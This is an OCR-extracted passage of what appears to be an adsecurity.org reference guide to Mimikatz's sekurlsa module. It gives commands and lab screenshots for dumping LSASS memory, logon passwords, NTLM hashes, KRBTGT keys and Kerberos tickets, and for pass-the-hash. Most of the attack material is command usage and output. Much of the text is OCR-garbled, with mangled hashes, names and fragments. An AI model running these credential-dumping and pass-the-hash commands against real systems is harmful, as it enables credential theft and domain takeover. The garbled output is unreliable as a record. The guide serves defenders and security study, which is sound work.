{f3feoffd-fbcf-4291-944d-70ad6e@e73bb}
ncalrpc: [LRPC-a6eeb3c395c230e932]
{76f226c3-ec14-4325-8a99-6a46348418af}
ncalrpc: [WMsgKRpc@4A8BA1L]

RPC::Server

mimikatz # rpc::Server
ProtSeq : ncacn_ip_tcp
Endpoint : (null)
Service : (null)
AuthnSvc : GSS_NEGOTIATE
Map Reg.: yes

Security: Allow no auth

mimikatz # > BindString[@]: ncacn_ip_tcp:MimiTest1[49917]

> RPC bind registered
> RPC Server is waiting!
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SEKURLSA

The SEKURLSA Mimikatz module interacts with protected memory. This module extracts passwords, keys, pin
codes, tickets from the memory of Isass (Local Security Authority Subsystem Service).

In order to interact with LSASS, the Mimikatz process requires appropriate rights:

e Administrator, to get debug privilege via “PRIVILEGE::Debug”
e SYSTEM rights (“TOKEN::elevate”)

However, running against a dumped LSASS process file (i.e. LSASS.dmp), elevated rights are not required.

SEKURLSA::Backupkeys — get preferred backup master keys

mimikatz # sekurlsa::backupkeys

Current prefered key: {83760416-0082-42a5-h088-c93f825ed13e}
Compatibility prefered key: {7efbc232-f93d-419f-9d03-8f463c7f368c}

SEKURLSA::Credman — List Credentials Manager

mimikatz # sekurlsa::credman

Authentication Id : i
5 ion : Interactive from 2
Mame : DwM-2
: Window Manager
Server i L
n Time -

credman

3 ;996 (00000000 :00000324)
: Service Trom O
: RDLABEDCODZS
: RD
SEerver : (nulT)
on Time 3 015 6:13:02
) ] 20
credman

Authentication Id : 3 0455 (00000000 :00398857)
5 ion : Interactive from 2
Mame : Admin

on Server
n Time
66-3696909401-1107
credman

thentication Id : : 770425 (00000000:00398839)
Session : Interactive from 2
Mame : Admin
: RD
: RDLABDCOZ
3 4

: 0 ; 3766159 (00000000:00397781)
: Interactive from 2
Mame : DwM-2

Domain : Window Manager

Logon Server : [ )

Logon Time - 015 B6:49:30 PM
| S B

credman

Page 50 of 79


https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-sekurlsa-Backupkeys.jpg
https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-sekurlsa-Backupkeys.jpg
https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Sekurlsa-Credman.png
https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Sekurlsa-Credman.png

https://adsecurity.org/?page_id=1821

SEKURLSA::Dpapi — list cached MasterKeys

mimikatz # sekurlsa::dpapi

0 ; 3766174 (000000
Interactive from 2
Dt -2

Window Manager

(nul

5-1- I—HD—E

HLthEnt1Cit1”n : 0 ; 996 (00000000 :000003ed)
Session 1 Service
r Name : RDLABDCOZ2%
i : RD
(null)
¥15 6:13:02
=20

=

=70M : Interactive from 2
r Name : Admin
: RD
RDL ABDCO2

Huthent1cat1un : 0 ; 3770455 (00O0O00000:00398857)

3696909401-1107

HUthEﬂt1Cit1Hﬂ 3 ; 377042 39)
ion : Interactive Trnm 2
r Name : Admin
i : RD

on Server ; RDLHEDKD‘
on Time 3 ;

0 ; 3766159 (00000000:0039778F)
Interactive from 2

zekurl=sa: :dpapisystem
STEM
Beef0b5 97 cebed4B8be2129f c011c3acBidaflb00da9e3bs 7f2bcecks 38708a35082d169e10d0
i Fcobed8be2129Tc0llc3acss9alfl / b00da%e3bs7T2bceces38708a35082d169e10df 0

SEKURLSA::Ekeys — list Kerberos encryption keys
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mimikatz # sekurlsa::ekeys
Huthent1cat1un Id i 0 ; 66174 fDGDDDGDD:DDSQFFQE}

: Interact1ve from 2
: Dw

F=HgZ3:cgV')<9A/A+0yA] " k50mIWpOu]r

"whwm= 15z[

bDlD"b 3edcbdbdd0310897Tcb71a9216ebad788709ef 88268397 dddTd518c8
i 8_| 8803daas8cddD d: &d
rcd_hmac_nt dc4dfas cfbdd2
rcd_hmac_old dc4dfas cfbdd2
rcd_md4d Bt dc4dfas 7 cfbddz
rcd_hmac_nt_ 595d436f11 dc4df9s53f cfbdd2
rcd_hmac_old_exp 595d436f11270dc4df953f217fcfbdd2

Huthent1c3t1un Id : ; 996 rnn&nn&nn:&nn&nse4j

6:13:02 PM

: rdlabdc023%
: RD. CURITY.ORG

964040 c399d10eleac2c83fc3c? 245d64694e29489 Ze0215acde
o b6114804ad757961b27020accachs324
rcd hmac nt dc4dfas Fcfbddz
rcd_hmac_old dc4dfas cfbdd2
red_md4 |:|C4 |:|1:95 cfbdd2
rcd_hmac_nt_ex F F cfbdd2
rcd_hmac_old_exp 7 FTcfbdd2

Huthent1cat1un Id : 0 ; 3770455 (00000000:00398857)
: Interactive from 2
3 Hdmin

PM
6962-4185879466-3696909401-1107

12bebc7851264545F349bd3aebf32 28390fb9a0a04b63b987be31bif4dfd

SEKURLSA::Kerberos — List Kerberos credentials for all authenticated users (including services and computer

account)
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mmikatz # sekurlsa::kerberos

A AHD AT " kS OmIWpOu ] r

ntication Id : 3 00000000 :000003e4)
on - rvice from O
er Name : RDLABDCOZS

3
2015 6:13:02 PM
5-1-5-20

: rdlabdc0D2$

: 0 ; 3770455 (00000000:00398857)
: Interactive 1

Server
Time 4
96962-4185879466-3696909401-1107
kerbe

ECURITY.ORG

g 425 (00000000 :00398839)
: Interactive from 2
: Admin
H
Server : RDLABDCDZ2
on Time 1 9/14 14 W

: Admin
RD. ADSECURITY.ORG
: (null)

SEKURLSA::Krbtgt — get Domain Kerberos service account (KRBTGT)password data

mimikatz # sekurlsa::krbtot
Current krbtagt: & credentials
rcd_hmac_nt : Bb4e3f3cBesel8cesThl24eadd7aces
rcd_hmac_old : Bb4e3f3cBeselBcesThl24eadd7acesT

rcd_md4 : Bb4e3f3cBeselBcesThl2deadd7acesT
ae 6_hmac : BB46aB87883334322e0820bdd64c0f8e99a71147ae7T81310aa257bcfeeb3bct
aes128_hmac : 17de3dT4eZ6dde3edZee?eeT08a5dece

= rcd_plain : Bb4e3f3cBeselBcesThl24eadd7acesT

SEKURLSA::LiveSSP — Lists LiveSSP credentials
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mimikatz # sekurlsa::1ivessP

Hu hentication Id : 0 ; 3766174 (00000000:0039779e)
: Interactive from 2
ser 1 : DwM-2
Domain - n1nduw Manager
Logon Serwver I
Logon Time : 015 6:49:30 PM
; i -5-90-2

H.utl' entication : 0 ; 996 (00000000 :00000324)
an : Service from O
er MName : RDLABDCO2%
Domain : RD
Logon Server 3 lnu]]l
0 i ] 3 “01“ 6:13:02 PM

5 7 3770455 (00000000:00398857)
: Interactive from 2
: Admin

49:41 PM
996962-4185879466-3696909401-1107

Huthent1cat1nn 3 3 70425 (00000000:003985839)
3 Interact1v from 2

ser Name : Admin
Domain : RD

Logon Server 3 D02

Logon Time =T 5 9: 41 PM

SID : 5 21-257 5909401-1107

Authentication : 0 ; 3766159 (000D0O0DD0O0:003977Ef)
Sessi : Interactive from 2
er MName : DwM-2
Domain : Window Manager
Logon Server 5

: O ; 997 I'DDGDDDGD 000003e5)
: Service
5 + LOCAL SERVICE
Domain + NT AUTHORITY
Logon Server : (null)
0 i ] 6:13:03 PM

: 0 ; 19559 (00000000:00004CE7)
5 : UndefinedLogonType from O

ser Name : (nulT)

Domain : (null)

SEKURLSA::LogonPasswords — lists all available provider credentials. This usually shows recently logged on

user and computer credentials.

e Dumps password data in LSASS for currently logged on (or recently logged on) accounts as well as
services running under the context of user credentials.

e Account passwords are stored in memory in a reversible manner. If they are in memory (prior to Windows
8.1/Windows Server 2012 R2 they were), they are displayed. Windows 8.1/Windows Server 2012 R2
doesn’t store the account password in this manner in most cases. KB2871997 “back-ports” this security
capability to Windows 7, Windows 8, Windows Server 2008R2, and Windows Server 2012, though the
computer needs additional configuration after applying KB2871997.

e Requires administrator access (with debug rights) or Local SYSTEM rights

Windows Server 2008 R2 System (Password is shown).
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PE CixWindowsssystem3d2» whoami
adsec labh~hansolo

P& C:sWindowsssystemd2? cistenpywmimikatzmimikatz sekurlsac:logonpasswords exit

LBRERE .
LRt BB,
it 2 ~ Hit
i ~ ~ HH
T

'Rnung

mimnikatz 2.8 alpha <(x64» releaszse "Kiwi en C" {(Mov 28 28i4 B1:35:453

S

Benjamin DELPY ‘gentilkiwi® ¢ benjaminBgentilkiwi.com »

http: 7blog.gentilkivi.con/nimikatz Cog.e02
with 15 modules = = =~

mimikatzC{commandline? # sekurlsa::logonpasswords

Authentic
Session

ation Id

msEy =

t

L

k

Authentic

Session
Uzer Hame

t

L0

k

# Username
# Domain

* LH

# MNTLH

# SHAL
spky

w Username
# Domain

#» Password
digest

# Username
#» Domain

# Password
erheros

# Username
# Domain

# Password

ation Id

Sv =
[ABBEREE3 1
Username
Doamain
LM
NTLH
SHA1
spky
# lUzername
# Damain
* Password
digest
# sernane
* Domain
# Password
&b o s
# Username
# Domain
# Paszsword

sEp :

C

Authentication Id

Sesszion
Uzer Hame
Domain

SID

msw

redmnan

U 2
[ABABABAI 1
Uzername
Domain
LM

NI LH

o
]
"

B ; 5888494 <PBOBOBEY:BB4dadee’

Interactive from 2

hansolo

ADSECLAB
E=1-5=21-1473643419-774954889-2222329127-1187

HanSolo

ADSECLAB
bcefdeS1lbcd4919e81987a75dBbhd3 75 a
269cBecblab2ib2eBb2dFdB61c9hB2B18
GeBddlfebbbh?4f 321 F hhd58bf c19a4189228b2hb

HanSolo
ADSECLAB
Falcon99t

HanSo lo
ADSECLAR
Falcon99?t

HanSolo
LAB.ADSECURITY . ORG
Falcon99*t

B ; 5888464 <{BOBBAE0H:B4daddB>

Interactive from 2

hanzolo

ADSECLAB
S—1-5-21-1473643419-774954887-2222329127-1187

Primary

: HanSolo
ADSECLAB
boefdeblbec4?17ed198Va Yo dBbhd3 Vo
269cBcb3ab23b2eBb2dfd861c9hB2818
66Bddlfebbbh?4f 321 Fhhd58bfc19a418922802 0

HanSolo
ADSECLAB
Falcon?7?t

HanSo lo
ADSECLAB
Falcon99*t

hanzo lo
LAB.ADSECURITY . ORG
Falcon99*t

@ ; SAL4736 <DBOAOABE:0R4cd4d@)

Interactive from 1

hanzo lo

ADSECLAB
8-1-5-21-1473643419-774954889-2222329127-1187

Primary

: HanSolo

: ADSECLAB

: beceldeS5ibed91%e81987a75d8bbd375a
: 269cBecb3ab23bZedb2dfdB6lc?hE2E18

Windows Server 2012 R2 system — no cleartext password shown
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ish\system32> c:\temp'\mimkatz\mimikatz sekurlsa:: |logonpasswords

mimikatz 2.0 alpha (x64) release "Kiwil en C" (Nov 20 2014 01:35:45)

\ EEenjamin DELPY "gentilkiwi’™ ( benjamin@gentilkiwi.com )
g2y #2' http://blog.gentilkiwi.com/mimikatz (oe.eo
‘EEEEE' with 15 modules = = =/

mimikatz(commandline) # sekurlsa::logonpasswords

Authentication Id : 0 ; 4222976 (00000000:00407000)
] : RemoteInteractive from 2
: lukeskywalker
: ADSECLAB
5-1-5-21-1473643419-774954089-2222329127-1106

* Username LukeSkywalker
= Domain ADSECLAB
NTLM 177af8ab46321ceef22b4eB8376f2dba7
= SHA1 ele3108027412231486T661032e1472a308dae3b
[00010000] CredentialKeys
! 177af8ab46321ceef22b4e8376f2dba7
* SH# ele310802741223f486f661032e1472a308dae3b
tspkg :
wdigest
* Username : LukeSkywalker
Domain : ADSECLAB
* Password : (null)
kerberos
% Username : LukeSkywalker
Domain : LAB. ADSECURITY.ORG
Password : (null)

Authentication Id : 0 ; 4219716 (00000000:00406344)
Session : Interactive from 2
Name : DuM-2
1 : Window Manager
5-1-5-90-2

[00000003] Primary
sername ADSDCOS S
1 ADSECLAB
a07fb880a2b20dd12a1f938c16b70dd7
97cee59a5022F38ch07e29e02237275ce31c14ds

wdigest
= Us ADSDCO5 $
= Domain ADSECLAB
= Password (null)
kerberos
Username ADSDCO5 %
* Domain lab. adsecurity.org
« Dacewnrd * %1 70w T\ RhEKDw " GFTOEF LEHUAEGD ' ImAfalr—a- ) ThGuKN I TRY 710

Services running with account credentials are also dumped using this command.

Note that only services that are running (credentials in memory) can be dumped in this manner.
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SOL Server (MSSQLSERYER)

Stop the service
Payse the service

Description:
Provides storage,

Restart the service

controlled access of data, and rapid
transaction processing.

Name = | Status | Startup Type | Log On s | Description |
£ Secondary Logon Manual Local System Enables starting processes under ..,
L) Secure Socket Tunneling Protocol Service Marial Local Service Provides support For the Secure 5.,
£} Security Accounts Manager Started Autoenatic Local System The startup of this service signals ..
Lk Server Starbed Aukomatic Local System Supports File, print, and named-pi...
L:';Shd Hardware Detection Started Automatic Local System Provides notifications for AustaPlay...
processing and -,",:';Smad Card Maral Local Service Manages access bo smark cards re...
L Senart Card Removal Policy Manual Local System Allowss the syshem to be configure. .
£l SHMP Trap Manual Local Service Receives brap messages generate, .
:'_:';Software Protection Starbed Autoratic (D...  Network Service Enables the download, installation ..
5} Special Administration Console Helper Manual Local System Allows administrators to remotely ...
:'";SPP Mokification Service Starbed Marial Local Service Provides Software Licensing ackiva...
h SOL Active Directory Helper Service Disabled Netweork Service: Enables integration with Active Dir...
arver (M8 RYER) Starked &%, processing and ...
S0L Server Agent (MSSOLSERYER) Manual adseclablsvc-50LAgent 1 Executes jobs, monibors SGL Serv...
{6),50L Server Analysis Services (MSSOLSERVER)  Started Auteenatic adseclablsve-SQLAnaksis Supphes online anakytical processin...
“ChS0L Server Browser Disabled Local Service Prowides SOL Server conneckion in...
1501 Server ¥55 Wriker Autoematic Local System Provides the interface bo backup)r. ..
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* lUsername
* Domain
»* NTLM

»* SHA1
tspkg =

* lUsername
»* Domain

#* Password
wdigest =

»* [lsername
#* Domain

»* Password
kerberos :
* Username
* Domain

* Password
ssp =

credman :

e ;

Service from 8
svc—SQLDBEngine@l

ADSECLAB

8-1-5-21-1473643419-774954089-2222329127-1687

svc—SQLDBEngine@l1

ADSECLAB

2858348 (ODBDBBOO:BB2h9d64>

dBabfcBch689f4cdc8959a14114998%6

467fB516e6155eedbB668827hBaddabbeecefacd

suc—SQLDBEngineBl1

ADSECLAB

ThislsAGoodPassword99*

svc=SQLDBEngined1

ADSECLAB

ThislsAGoodPassword99?

svc—SQLDBEngine@l
LAB.ADSECURITY .ORG
ThisIlsAGoodPassword99?

Huthqnticatiun Id

Username
Domain
NTLM
SHAl

* Password
wdigest =

#* Username

* Domain

* Password
kerberos :

* lUsername

»* Domain

* Password
SsSp =

credman =

a;

Service from B
svc—SQLAnalysis

ADSECLAB

8-1-5-21-1473643419-774954089-2222329127-1608

svc—SQLAnalysis
ADSECLAB
3c?217b61c58c4chalb53%6aad?d1468a2
fA8%edh437e1f455ac1abh65886ed5195%df ?dc38

suc—SQLAnalysis

ADSECLAB

ThislsAnOKPassword?9*

suc—8QLAnalysis

ADSECLAB

ThisIsAnOKPassword?9*

suc—SQLAnalysis
LAB.ADSECURITY .ORG
ThisIsAnOKPassword?9?

2594251 (00BO0BOO:082795ch>

SEKURLSA::Minidump — switch to LSASS minidump process context

There are several different ways to dump LSASS: procdump, PowerShell, Task Manager, etc.
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Note that Minidumps need to be read using the same platform it was dumped from NT5 Win32 or NT5x64 or NT6
Win32 or NT6 x64.

mimikatz{(commandline? # sekurlsa::minidump c:\temp\lsass.dmp
Switch to MINIDUMP : ‘c:\temp\lsass.dmp’

mimikatz{(commandline? # sekurlsa::logonpasswords
Opening : ’c:\temp\lsass.dmp’ file for minidump...

Authentication Id A ; 996 (BBVAVABN:BRRRA3e4)>
Session Service from B

User Name ADSDCAZ2S

Domain ADSECLAB

Logon Server Cnull)

Logon Time 5/,30-2015 18:14:48 PM

SID S-1-5-20

msy =
[BBBRABA3 1 Primary
* Username : ADSDCOH2S%
»* Domain : ADSECLAB
» NTLM : ec2fa78ddlefe24d9780561f245c69cH
»* SHA1 : 48bhe%?3edacc?Bbf £ 740c717cf 782hBf 6c7?7653e

Another option is to dump the LSASS process with Task Manager

|

. File Options View Help

=10l x|

..ﬁ.pplicaﬁuns Processes |5EI"||'I|:ESI Performance | Metworking | Users |

Image ... = | User Name | CPLI| Memory (... ] Description |-'-
conhost, &xe ADSAd... 00 1,556 K Console ..,

CSrSs, exe SYSTEM 00 784K Client Ser,,,
CEFSS, BXE SYSTEM (11} 1,020 K Client Ser..,
dfars.exe SYSTEM (11} 5,400 K Distribute. ..
dfssvc.exe SYSTEM 00 1,560 K Windows ... ||
dns.exe SYSTEM [11] 15,620 £ Domain M...
dwm.exe ADSAd... [11] 995 K Desktop ...
explorer.exe ADSAd... 00 16,024 K Windows ...
iISMsEerv.exe ST 00 1,900 K Windows ...

e Local Secu...
lsm.exe Open File Location 1,200 K Local Sess...
Microsoft  End Process 9,016 K Microsoft....
MMZ.EXe  End Process Tree 17,048 K Microsoft ..,
mmc.exe | nebug 13,532K Microsoft ...
msdic.ex | JIAC Virtualizatio 640 K Microsoft ..,
conersh [CETTITIT|  3is%K wndows.. =

¥ Showg Set Priority n End Process |
~—————  Properties
Processes: 44 o 4o cervice(s) Physical Memory: 80% &

Sekurlsa::minidump can open the dump file.
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mimikatz{commandline? # sekurlza::minidump c:stemp™lszass.dmp

Switch to MINIDUMP : ‘c:stempls ;s.dmp‘

mimiﬁatz{cnmmandline) # sekurlsq::lngunpqsgwurds
Opening : “"c:stempslsass.dmp’ file for minidump...

Authentication Id A ; 796 {HEBBBOO0:B000003e4>
Session Service from B

Uzer Mame ADSDCA2S

Domain ADSECLAE

Logon Server Cnull’

Logon Time 57382015 18:=14:48 PH

SID S-1-5-2@

msv =
BEBERRB3 1 Primary
Username = ADSDCH2S
Domain ADSECLAR
¢« NTLHM ec2fa?Bddlefe24d? 788561 f245chPcH
« SHA1 48bbe?3edacc7?Bbf £ 748717t 7828 677653 e

Authentication Id
Seszdion
Uszer Mame ADSAdministrator
Domain ADSECLAB
Logon Server
Logon Time
SID
msw =
[BBBBEEE3 1 Primary
#* |llzepname = ADSAdministrator
* Domain
* LM
=* NTLH
=* SHA1
tspkg =
* |lzername
* Domain
#* Password
wdigest =
* |lzername
* Domain
* Password
kerheros =
* |lzername
* Domain
#* Password

a226eVedaSff?86d116
B45371bc2236ed3f Jac
65458471 cd5a3Bac56A4642a 74231

ADSAdministrator
ADSECLAB
Paszword?9t

ADSAdministrator
ADSECLAB
Paszword?9t

trator

Paszword?9t

SEKURLSA::MSV — List LM & NTLM credentials
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mimikatz # sekurlsa::msv

ntication Id : O ; 3766174 (00000000:0039779e)
ion : Interactive from 2
er Mame 1 DM-2
Domain : Window Manager
Logon Server : (nulT)
Logon Time 3 'f 2015 6:49:30 PM
SID 2
msv :
[00000003] Primary
= e« RDLABDCOZ:
: RD
: 595d436T11270dcadf 9531217 cfbdd2
: 7319c0ceef0l186b7eeeBbaedb306e91T2785C577

entication Id : O ; 996 (00000000 :000003e4)
ion : Service Trom O
Er‘ _MName : RDLABEDCO2%
: RD
4 lnu]]l
3/2005 6:13:02 PM
5-1-5-20

[ Primary
= Us ame : RDLABDCOZ2:%
< Domain : RD
: 595d436T11270dcadf 9531217 cfbdd2

7319c0ceef 01 86b7eeeibardb306e91f 2785 C577

: 0 ; 3770455 (00000000:00398857)
s : Interactive from 2
er MName : Admin
Domain : RD
Server
i 49:41 PM
96962-4185879466-3696909401-1107

DDDDDDD;] Primary
e : Admin
: RD
Fc08de3azf48f045971bc2236ed3T3ac
: 05a6Tbhe30c065d50471cdSa30acs 604642a74e31
Credentialkeys
7c08d6e3aZ2fT48f045971bc2236ed3f3ac
: 05a6The30c065d30471cd5a30acs 604642a74e3l

: 0 ; 3770425 (00000000:003985839)
: Interactive from 2
: Admin

1 PM

962-4185879466-3696909401-1107
msv =
GDDDDGG;] Primary

SEKURLSA::Process — switch to LSASS process context

mimikatz # sekurlsa::process

Switch to PROCESS

SEKURLSA::Pth — Pass-the-Hash and Over-Pass-the-Hash (aka pass the key).

Mimikatz can perform the well-known operation ‘Pass-The-Hash’to run a process under another credentials with
NTLM hash of the user’s password, instead of its real password. For this, it starts a process with a fake identity,
then replaces fake information (NTLM hash of the fake password) with real information (NTLM hash of the real

password).
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e /user — the username you want to impersonate, keep in mind that Administrator is not the only name for

this well-known account.

e /domain — the fully qualified domain name — without domain or in case of local user/admin, use computer

or server name, workgroup or whatever.
e /rc4 or /ntlm — optional — the RC4 key / NTLM hash of the user’s password.

e /run — optional — the command line to run — default is: cmd to have a shell.

mimikatz # sekurlsa::pth /user:adsadministrator /ntlm:5164b7a0fda365d56739954bbbc23835 /domain:lab.adsecurity.org
: adsadministrator

132 . ggzecuri ty.org Administrator: C:\Windows\SYSTEM32\cmd.exe

no
: 5164b7a0fda365d56739954bbbc23835
PID 5600
TID 3416
LUID 0 ; 59149163 (00000000:03868b6b)
_msvl 0 - data copy @ 0000006E8E970510 :
_ kerberos - data copy @ 0000006E8E0971B8
aes256_hmac -> null
aes128_hmac -> null
rc4_hmac_nt 0K

rc4_hmac_old 0K
rcd4_md4 0K
rcd_hmac_nt_exp OK

_ rc4_hmac_old_exp 0K

\_ *Password replace -> null

mimikatz #

Benjamin’s Remarks:

e This command does not work with minidumps (nonsense);

e itrequires elevated privileges (privilege::debug or SYSTEM account), unlike ‘Pass-The-Ticket’ which uses
one official API ;
this new version of ‘Pass-The-Hash’ replaces RC4 keys of Kerberos by the ntlm hash (and/or replaces AES
keys) — it permits to the Kerberos provider to ask TGT tickets! ;

 ntlm hash is mandatory on XP/2003/Vista/2008 and before 7/2008r2/8/2012 kb2871997 (AES not available
or replaceable) ;

e AES keys can be replaced only on 8.1/2012r2 or 7/2008r2/8/2012 with kb2871997, in this case you can
avoid ntlm hash.

Benjamin’s post on overpass-the-hash.

SEKURLSA::SSP — Lists SSP credentials
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mimi katz # sekurlsa::55P

Huthent1cat1un Id : O ; 3766174 KDDDDGDDD:GDSQFFQE}
= ion : Interactive from 2
= Name 2
Domain
Logon Serwver
gon Time

0 ; 996 ( 1000003 e4)
Service fr

RDLABDCOZS

RD

15 6:13:02
5-1-5-20

Authentication : 0 ; 3770455 (00000000:00398857)
Session : Interactive from 2
r Name : Admin

on Serwver 3 f
on Time 'f 5 6:49:41 PM

2575996962-4185879466-3696909401-1107

0 ; 3770425 (00000000:00398839)
Interactive from 2

Admin

RD

F!'.DL' EDL 02

§-21-257¢ 59094011107

ssp :

H.LthEr'It'l cation : : 3766159 (00000000:0039778F)
< ion nteractive from 2

Name : DwM-2

i : Window Manager

15 6:49:30 PM
5-1-5-90-2

0 ; 997 (00000000 :000003e5)
Service fr

LOCAL SERVICE

NT -xLITHt]F'.I'I"'r

©:13:03 PM

SEKURLSA::Tickets — Lists all available Kerberos tickets for all recently authenticated users, including services
running under the context of a user account and the local computer’s AD computer account.
Unlike kerberos::list, sekurlsa uses memory reading and is not subject to key export restrictions. sekurlsa can

access tickets of others sessions (users).

» /export — optional — tickets are exported in .kirbi files. They start with user’s LUID and group number (0 =
TGS, 1 = client ticket(?) and 2 = TGT)

Similar to credential dumping from LSASS, using the sekurlsa module, an attacker can get all Kerberos ticket data
in memory on a system, including those belonging to an admin or service.

This is extremely useful if an attacker has compromised a web server configured for Kerberos delegation that
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users access with a backend SQL server. This enables an attacker to capture and reuse all user tickets in memory

on that server.

The “kerberos::tickets” mimikatz command dumps the current logged-on user’s Kerberos tickets and does not
require elevated rights. Leveraging the sekurlsa module’s capability to read from protected memory (LSASS), all

Kerberos tickets on the system can be dumped.
Command: mimikatz sekurlsa: :tickets exit

e Dumps all authenticated Kerberos tickets on a system.

e Requires administrator access (with debug) or Local SYSTEM rights

The following screenshot shows dumped password and Kerberos tickets (TGS & TGT) of another user who is a
Domain Admin (LukeSkywalker).
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PS C:\Windowsssystem32> c:itempimimikatz’mimikatz sekurlsa::tickets exit

100 . mimikatz 2.8 alpha (xb4)> release "Kiwi en C" (Nov 20 2014 81:35:45)
e " oHi.
#e 2 N HBHE % % ow
Benjamin DELPY “gentilkiwi® ¢ bhenjaminBgentilkiwi.com >
http:/sblog.gentilkivi.com/mimikatz {oe.eod
with 15 modules * = w»/

nimikatz{commandline> # sekurlsa::tickets

Authentication Id = @ ; 5411638 <(OBOBEOOO:B052932e)
Session : Remotelnteractive from 1
User Name : lukeskywalker

: ADSECLAB

: §-1-5-21-1473643419-774954889-2222329127-1186

= Username lukeskywalker
# Domain : LAB.ADSECURITY.ORG
# Password : TheForce?9?

Group B — Ticket Granting Service
[BIBBBBBB]
Start/End-MaxRenew: 1-1-2815 18:34:22 PH ; 1-2-20815 8:34:21 AM ; 1-8-2815 1B:34:21 PH
Service Name (B2)> cifs ; ADSDCAL.lab.adsecurity.org ; @ LAB.ADSECURITY.ORG
Target Hame <B2) cifs ; ADSDCAL.lab.adsecurity.ory ; @ LAB.ADSECURITY.ORG
Client Hame (81> LukeSkywalker ; @ LAB.ADSECURITY.ORG
Flags 48a408088 : ok_as_delegate ; pre_ authent ; renewable ; forwardable ;
Session Key Bx00008812 - aes256_hna
?GBEI3ceﬂ?l4d42326@3973aa?553d9694363931fdﬂa42313434114b375441d8
Ticket Bx0PARER12 - aes256_hmac 3 kuno = 3 [Laccd)
[APBAGAA1 1
Start/End/MaxRenew: 112815 18:34:22 PH ; 1-2-2815 8:34:21 AM ; 1-8-/2815 10:34:21 PH
Service NHame <(B2> : ldap ; ADSDCAS5.lab.adsecurity.org ; B LAB.ADSECURITY.ORG
Target Hame <B2)> ldap ; ADSDCBS5.lab.adsecuritv.org ; @ LAB.ADSECURITY.ORG
Client NHame (81> LukeSkywalkey ; B LAB.ADSECURITY.ORG
Flags 43a4ﬂﬂﬂa ok_as_delegate ; pre_ authent ; renewable ; forwardable ;
Session Key AxBPPBRAL2 — aes256 _hma
d9715661dhccsa54?dﬁh24814a1&65544dafhf5938ﬂBahciGl?d3h603d43e?Bi
Ticket AxPPEBEA12 — aes256_hmac ; kvno = 1 | Loz
[BBBBABBA2 1
Start/End-MaxRenew: 1/1,2815 10:34:21 PM ; 1-2,2815 8:34:21 AN ; 1-8-/2815 10:34:21 PH
Service Name <(B2)> : LDAP ; ADSDCOS.lab.adsecurity.oryg ; lab.adsecurity.org ; @ LAB.ADSECURITY.ORG
Target NHame (82> : LDAP ; ADSDCAS5.lab.adsecurity.org ; lab.adsecurity.org ; @ LAB.ADSECURITY .ORG
Client Name (81> : LukeSkywalker ; @ LAB. HDSECURITQ ORG ¢ LAB. HDSECURIT? ORG b
Flags 4Ba49333 : ok_as_delegate ; pre_; authent ; renewable ; forwardable ;
Session Key BxB00BBBA12 - aes256_hma
e573Fb76deﬁdfeﬂ3£2c79c7c9ech463aec?e?BFdBCE?33fc2333227131a3ec97
Ticket AxPBOPAB12 - aes256_hmac 3 kuno = 1 P |
[BBBaa8A3 1
Start/End/MaxRenew: 1-1,2015 18:34:21 PM ; 1-2-2815 8:34:21 AM ; 1-8/2815 1A:34:21 PM
Service Name <B2)> HOST ; ADSDCBS.lab.adsecurity.org ; B LAB.ADSECURITY.ORG
Target Name (B2 HOST ; ADSDCA5.lab.adsecurity.org ; B LAB.ADSECURITY.ORG
Client Name (81> LukeSkywalker ; @ LAB.ADSECURITY. ORG
Flags 40a40000 ok_as_delegate ; pre_; authent ; renewable ; foruvardable ;
Session Key AxAPARBB12 - aes256_hma
33e9d16d943ccf5c4229c8f4c6h81e881E34B49decdcc27a21c??e?hebd6334e
Ticket : BxPPABAA12 - aes256_hmac i kvno = 1 [...1]

[BBBB0B0A4 1
Start /End-MaxRenew: 1-1-2815 18:34:21 PH ; 1-2-2015 8:34:21 AM ; 1-8-2815 1@:34:21 PH
Service Name (B2) : cifs ; ADSDCOS.lab.adsecurity.org ; @ LAB.ADSECURITY.ORG
Target Mame <B2) : c¢cifs ; ADSDCAS.lab.adsecurity.ory ; @ LAB.ADSECURITY.ORG
Client Hame (81> : LukeSkywalker ; @ LAB.ADSECURITY.ORG
Flags 48a408088 : ok_as delegate 3 pre_ authent ; renewable ; forwardable ;
Session Key Bx00000812 - aes256_hn

98136aﬂﬂﬂa63a6ea?ﬂﬂ??c62acd965?d99512¢Sda9hJBadcf!edGGccd?SJﬂG&f

Ticket : BxPAABEA12 - aes256_hmac 3 kuno = 1 | R |

Group 2 — Ticket Granting Ticket
[ABRBABAA 1
Start/End-MaxRenew: 1-1-2015 108:34:22 PHM ; 1-2-2015 8:34:21 AM ; 18,2815 18:34:21 PH
Service Hame (B2) krbtgt ; LAB.ADSECURITY.ORG ; @ LAB.ADSECURITY.ORG
Target Name «(——> 2 LAB.ADSECURITY .ORG
Client Name <B1> LukeSkywalker ; @ LAB.ADSECURITY.ORG < %%Delegation Ticket$$ 2
Flags 6BaBBB00A pre_authent ; renewable ; forwarded ; forwardable ;
Session Hey BxB0088017 - rc4_hmac_nt
7erEBcEchC48251c465dﬁd31ab5527
Ticket : BxBOBEBO1? - rc4_hmac_nt 5 kuno = 2 [...1
[BBBHBEA1 1
Start/End/MaxRenew: 1,1-2015 108:34:21 PM ; 1-2,2015 8:34:21 AM ; 18,2815 18:34:21 PM
Service Hame (B2) krbtgt ; LAB.ADSECURITY.ORG ; @ LAB.ADSECURITY.ORG
Target Name <(B2) krbtgt ; lab.adsecurity.org ; @ LAB.ADSECURITY.ORG
Client Name (81> LukeSkywalker ; @ LAB.ADSECURITY.ORG ¢ lab.adsecurity.org >
Flags 4888008 pre_authent ;3 initial ; renewable ; forwardable ;
Session Key : BxBORABP1? — rcd_hmac_nt
d8@hd284d666ae22cFIb26FB92d472493
Ticket : BxB8808080817 - rc4_hmac_nt [...]

The following screenshot shows dumped credentials and Kerberos tickets (TGS & TGT) of another admin
(HanSolo).
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Authentication Id B ; 5088464 <(PDPOPOBA:BB4da4dBd

Session Interactive from 2

User Name hanso lo
ADSECLAB
§-1-5-21-1473643419-774954889-2222329127-1187

hansolo
LAB.ADSECURITY . ORG
# Password : Falcon99!

Group @ - Ticket Granting Service

[ABBAARAA 1
S$tart/End/MaxRenew: 11,2015 9:36:51 PH ; 1-/2/2015 6:083:4% AN ; 1-,8-2815 8:83:49 PM
